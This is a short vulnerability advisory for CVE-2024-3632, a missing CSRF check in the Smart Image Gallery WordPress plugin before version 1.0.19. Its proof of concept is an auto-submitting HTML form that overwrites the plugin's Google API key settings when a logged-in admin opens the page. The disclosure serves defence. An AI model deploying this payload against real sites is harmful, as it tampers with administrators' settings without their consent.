Smart Image Gallery < 1.0.19 – Update/Delete Google API Key via CSRF | CVE 2024-3632

Description

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack

Proof of Concept

Make an admin open an HTML page containing:

```
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/options-general.php?page=photoshow.php" method="POST"> 
        <input type="text" name="photoshow_google_settings" value="1">
        <input type="text" name="photoshow_google_api_key" value="CSRF">
        <input type="text" name="photoshow_google_cx" value="CSRF">
        <input type="text" name="photoshow_settings" value="true">
        <input type="submit" value="submit">
    </form>
</body>
```
